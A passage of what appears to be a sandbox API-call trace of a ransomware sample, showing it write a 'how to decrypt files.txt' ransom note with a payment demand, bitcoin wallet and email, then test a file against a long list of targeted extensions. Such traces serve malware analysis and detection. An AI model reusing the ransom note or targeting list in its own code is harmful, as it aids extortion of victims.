"c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.data.service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0112.550] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0112.550] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0112.552] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0112.552] CloseHandle (hObject=0x90) returned 1 [0112.552] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\", lpString2="System.Data.Services.Client.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\System.Data.Services.Client.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\System.Data.Services.Client.ni.dll" [0112.552] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\System.Data.Services.Client.ni.dll", pszSpec="*.ems") returned 0 [0112.552] lstrlenA (lpString="*.ems") returned 5 [0112.552] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\System.Data.Services.Client.ni.dll", pszSpec="*.db") returned 0 [0112.552] lstrlenA (lpString="*.db") returned 4 [0112.552] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\System.Data.Services.Client.ni.dll", pszSpec="*.dbf") returned 0 [0112.553] lstrlenA (lpString="*.dbf") returned 5 [0112.553] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\System.Data.Services.Client.ni.dll", pszSpec="*.myox") returned 0 [0112.553] lstrlenA (lpString="*.myox") returned 6 [0112.553] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\System.Data.Services.Client.ni.dll", pszSpec="*.myo") returned 0 [0112.553] lstrlenA (lpString="*.myo") returned 5 [0112.553] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\System.Data.Services.Client.ni.dll", pszSpec="*.qbw") returned 0 [0112.553] lstrlenA (lpString="*.qbw") returned 5 [0112.553] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\System.Data.Services.Client.ni.dll", pszSpec="*.qbb") returned 0 [0112.553] lstrlenA (lpString="*.qbb") returned 5 [0112.553] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\System.Data.Services.Client.ni.dll", pszSpec="*.qbm") returned 0 [0112.553] lstrlenA (lpString="*.qbm") returned 5 [0112.553] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\System.Data.Services.Client.ni.dll", pszSpec="*.qbo") returned 0 [0112.553] lstrlenA (lpString="*.qbo") returned 5 [0112.553] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\System.Data.Services.Client.ni.dll", pszSpec="*.qbx") returned 0 [0112.553] lstrlenA (lpString="*.qbx") returned 5 [0112.553] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\System.Data.Services.Client.ni.dll", pszSpec="*.qba") returned 0 [0112.553] lstrlenA (lpString="*.qba") returned 5 [0112.553] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\System.Data.Services.Client.ni.dll", pszSpec="*.qby") returned 0 [0112.553] lstrlenA (lpString="*.qby") returned 5 [0112.553] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\System.Data.Services.Client.ni.dll", pszSpec="*.qbj") returned 0 [0112.553] lstrlenA (lpString="*.qbj") returned 5 [0112.553] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\System.Data.Services.Client.ni.dll", pszSpec="*.ofx") returned 0 [0112.553] lstrlenA (lpString="*.ofx") returned 5 [0112.553] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\System.Data.Services.Client.ni.dll", pszSpec="*.qif") returned 0 [0112.553] lstrlenA (lpString="*.qif") returned 5 [0112.553] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\System.Data.Services.Client.ni.dll", pszSpec="*.mye") returned 0 [0112.553] lstrlenA (lpString="*.mye") returned 5 [0112.553] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\System.Data.Services.Client.ni.dll", pszSpec="*.mbox") returned 0 [0112.553] lstrlenA (lpString="*.mbox") returned 6 [0112.553] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\System.Data.Services.Client.ni.dll", pszSpec="*.eml") returned 0 [0112.553] lstrlenA (lpString="*.eml") returned 5 [0112.554] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\System.Data.Services.Client.ni.dll", pszSpec="*.pst") returned 0 [0112.554] lstrlenA (lpString="*.pst") returned 5 [0112.554] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\System.Data.Services.Client.ni.dll", pszSpec="*.ost") returned 0 [0112.554] lstrlenA (lpString="*.ost") returned 5 [0112.554] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\System.Data.Services.Client.ni.dll", pszSpec="*.idx") returned 0 [0112.554] lstrlenA (lpString="*.idx") returned 5 [0112.554] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\System.Data.Services.Client.ni.dll", pszSpec="*.dbx") returned 0 [0112.554] lstrlenA (lpString="*.dbx") returned 5 [0112.554] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\System.Data.Services.Client.ni.dll", pszSpec="*.sql") returned 0 [0112.554] lstrlenA (lpString="*.sql") returned 5 [0112.554] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\System.Data.Services.Client.ni.dll", pszSpec="*.mdb") returned 0 [0112.554] lstrlenA (lpString="*.mdb") returned 5 [0112.554] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\System.Data.Services.Client.ni.dll", pszSpec="*.fdb") returned 0 [0112.554] lstrlenA (lpString="*.fdb") returned 5 [0112.554] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\System.Data.Services.Client.ni.dll", pszSpec="*.wab") returned 0 [0112.554] lstrlenA (lpString="*.wab") returned 5 [0112.554] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\System.Data.Services.Client.ni.dll", pszSpec="*.dat") returned 0 [0112.554] lstrlenA (lpString="*.dat") returned 5 [0112.554] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\System.Data.Services.Client.ni.dll", pszSpec="*.txt") returned 0 [0112.554] lstrlenA (lpString="*.txt") returned 5 [0112.554] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\System.Data.Services.Client.ni.dll", pszSpec="*.jpeg") returned 0 [0112.554] lstrlenA (lpString="*.jpeg") returned 6 [0112.554] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\System.Data.Services.Client.ni.dll", pszSpec="*.jpg") returned 0 [0112.555] lstrlenA (lpString="*.jpg") returned 5 [0112.555] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\System.Data.Services.Client.ni.dll", pszSpec="*.png") returned 0 [0112.555] lstrlenA (lpString="*.png") returned 5 [0112.555] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\System.Data.Services.Client.ni.dll", pszSpec="*.php") returned 0 [0112.555] lstrlenA (lpString="*.php") returned 5 [0112.555] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\System.Data.Services.Client.ni.dll", pszSpec="*.cs") returned 0 [0112.555] lstrlenA (lpString="*.cs") returned 4 [0112.555] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\System.Data.Services.Client.ni.dll", pszSpec="*.cpp") returned 0 [0112.555] lstrlenA (lpString="*.cpp") returned 5 [0112.555] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\System.Data.Services.Client.ni.dll", pszSpec="*.rar") returned 0 [0112.555] lstrlenA (lpString="*.rar") returned 5 [0112.555] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\System.Data.Services.Client.ni.dll", pszSpec="*.zip") returned 0 [0112.555] lstrlenA (lpString="*.zip") returned 5 [0112.555] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\System.Data.Services.Client.ni.dll", pszSpec="*.html") returned 0 [0112.555] lstrlenA (lpString="*.html") returned 6 [0112.555] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\System.Data.Services.Client.ni.dll", pszSpec="*.htm") returned 0 [0112.555] lstrlenA (lpString="*.htm") returned 5 [0112.555] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\System.Data.Services.Client.ni.dll", pszSpec="*.xlsx") returned 0 [0112.555] lstrlenA (lpString="*.xlsx") returned 6 [0112.555] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\System.Data.Services.Client.ni.dll", pszSpec="*.xls") returned 0 [0112.555] lstrlenA (lpString="*.xls") returned 5 [0112.555] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\System.Data.Services.Client.ni.dll", pszSpec="*.mp4") returned 0 [0112.555] lstrlenA (lpString="*.mp4") returned 5 [0112.555] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\System.Data.Services.Client.ni.dll", pszSpec="*.ppt") returned 0 [0112.556] lstrlenA (lpString="*.ppt") returned 5 [0112.556] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\System.Data.Services.Client.ni.dll", pszSpec="*.pptx") returned 0 [0112.556] lstrlenA (lpString="*.pptx") returned 6 [0112.556] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\System.Data.Services.Client.ni.dll", pszSpec="*.doc") returned 0 [0112.556] lstrlenA (lpString="*.doc") returned 5 [0112.556] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\System.Data.Services.Client.ni.dll", pszSpec="*.dot") returned 0 [0112.556] lstrlenA (lpString="*.dot") returned 5 [0112.556] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\System.Data.Services.Client.ni.dll", pszSpec="*.docx") returned 0 [0112.556] lstrlenA (lpString="*.docx") returned 6 [0112.556] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\System.Data.Services.Client.ni.dll", pszSpec="*.7z") returned 0 [0112.556] lstrlenA (lpString="*.7z") returned 4 [0112.556] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\System.Data.Services.Client.ni.dll", pszSpec="*.tar") returned 0 [0112.556] lstrlenA (lpString="*.tar") returned 5 [0112.556] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\System.Data.Services.Client.ni.dll", pszSpec="*.bz2") returned 0 [0112.556] lstrlenA (lpString="*.bz2") returned 5 [0112.556] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\System.Data.Services.Client.ni.dll", pszSpec="*.gz") returned 0 [0112.556] lstrlenA (lpString="*.gz") returned 4 [0112.556] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\System.Data.Services.Client.ni.dll", pszSpec="*.mkv") returned 0 [0112.556] lstrlenA (lpString="*.mkv") returned 5 [0112.556] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\System.Data.Services.Client.ni.dll", pszSpec="*.eml") returned 0 [0112.556] lstrlenA (lpString="*.eml") returned 5 [0112.556] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\System.Data.Services.Client.ni.dll", pszSpec="*.msg") returned 0 [0112.556] lstrlenA (lpString="*.msg") returned 5 [0112.557] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\System.Data.Services.Client.ni.dll", pszSpec="*.edb") returned 0 [0112.557] lstrlenA (lpString="*.edb") returned 5 [0112.557] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\System.Data.Services.Client.ni.dll", pszSpec="*.accdb") returned 0 [0112.557] lstrlenA (lpString="*.accdb") returned 7 [0112.557] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\System.Data.Services.Client.ni.dll", pszSpec="*.odb") returned 0 [0112.557] lstrlenA (lpString="*.odb") returned 5 [0112.557] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\System.Data.Services.Client.ni.dll", pszSpec="*.java") returned 0 [0112.557] lstrlenA (lpString="*.java") returned 6 [0112.557] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\System.Data.Services.Client.ni.dll", pszSpec="*.asm") returned 0 [0112.557] lstrlenA (lpString="*.asm") returned 5 [0112.557] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\System.Data.Services.Client.ni.dll", pszSpec="*.pfx") returned 0 [0112.557] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\System.Data.Services.Client.ni.dll", pszSpec="*.pem") returned 0 [0112.557] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\System.Data.Services.Client.ni.dll", pszSpec="*.p12") returned 0 [0112.557] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\System.Data.Services.Client.ni.dll", pszSpec="*.gpg") returned 0 [0112.558] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\System.Data.Services.Client.ni.dll", pszSpec="*.vsd") returned 0 [0112.558] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\System.Data.Services.Client.ni.dll", pszSpec="*.odg") returned 0 [0112.558] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\System.Data.Services.Client.ni.dll", pszSpec="*.raw") returned 0 [0112.558] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\System.Data.Services.Client.ni.dll", pszSpec="*.nef") returned 0 [0112.558] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\System.Data.Services.Client.ni.dll", pszSpec="*.svg") returned 0 [0112.558] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\System.Data.Services.Client.ni.dll", pszSpec="*.psd") returned 0 [0112.558] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\System.Data.Services.Client.ni.dll", pszSpec="*.vmx") returned 0 [0112.558] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\System.Data.Services.Client.ni.dll", pszSpec="*.vmdk") returned 0 [0112.558] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\System.Data.Services.Client.ni.dll", pszSpec="*.vdi") returned 0 [0112.558] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\System.Data.Services.Client.ni.dll", pszSpec="*.lay6") returned 0 [0112.558] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\System.Data.Services.Client.ni.dll", pszSpec="*.mpeg") returned 0 [0112.558] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\System.Data.Services.Client.ni.dll", pszSpec="*.djvu") returned 0 [0112.559] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\System.Data.Services.Client.ni.dll", pszSpec="*.tiff") returned 0 [0112.559] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\System.Data.Services.Client.ni.dll", pszSpec="*.backup") returned 0 [0112.559] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\System.Data.Services.Client.ni.dll", pszSpec="*.pdf") returned 0 [0112.559] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\System.Data.Services.Client.ni.dll", pszSpec="*.cert") returned 0 [0112.559] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\System.Data.Services.Client.ni.dll", pszSpec="*.docm") returned 0 [0112.559] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\System.Data.Services.Client.ni.dll", pszSpec="*.xlsm") returned 0 [0112.559] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\System.Data.Services.Client.ni.dll", pszSpec="*.dwg") returned 0 [0112.559] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\System.Data.Services.Client.ni.dll", pszSpec="*.nd") returned 0 [0112.559] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\System.Data.Services.Client.ni.dll", pszSpec="*.tlg") returned 0 [0112.559] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\System.Data.Services.Client.ni.dll", pszSpec="*.lgb") returned 0 [0112.559] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\System.Data.Services.Client.ni.dll", pszSpec="*.mov") returned 0 [0112.559] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\System.Data.Services.Client.ni.dll", pszSpec="*.xdw") returned 0 [0112.559] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\System.Data.Services.Client.ni.dll", pszSpec="*.ods") returned 0 [0112.560] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\System.Data.Services.Client.ni.dll", pszSpec="*.wav") returned 0 [0112.560] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\System.Data.Services.Client.ni.dll", pszSpec="*.mp3") returned 0 [0112.560] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\System.Data.Services.Client.ni.dll", pszSpec="*.aiff") returned 0 [0112.560] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\System.Data.Services.Client.ni.dll", pszSpec="*.flac") returned 0 [0112.560] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\System.Data.Services.Client.ni.dll", pszSpec="*.m4a") returned 0 [0112.560] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\System.Data.Services.Client.ni.dll", pszSpec="*.csv") returned 0 [0112.560] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e13257e, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x1e13257e, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x1e17e83e, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x1c8200, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Data.Services.Client.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0112.560] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0112.560] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e1f0c5f, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x1e1f0c5f, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x1e1f0c5f, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="5d81c3e6fa9f3f78cd8d06d8cf2caff0", cAlternateFileName="5D81C3~1")) returned 0 [0112.560] FindClose (in: hFindFile=0x502598 | 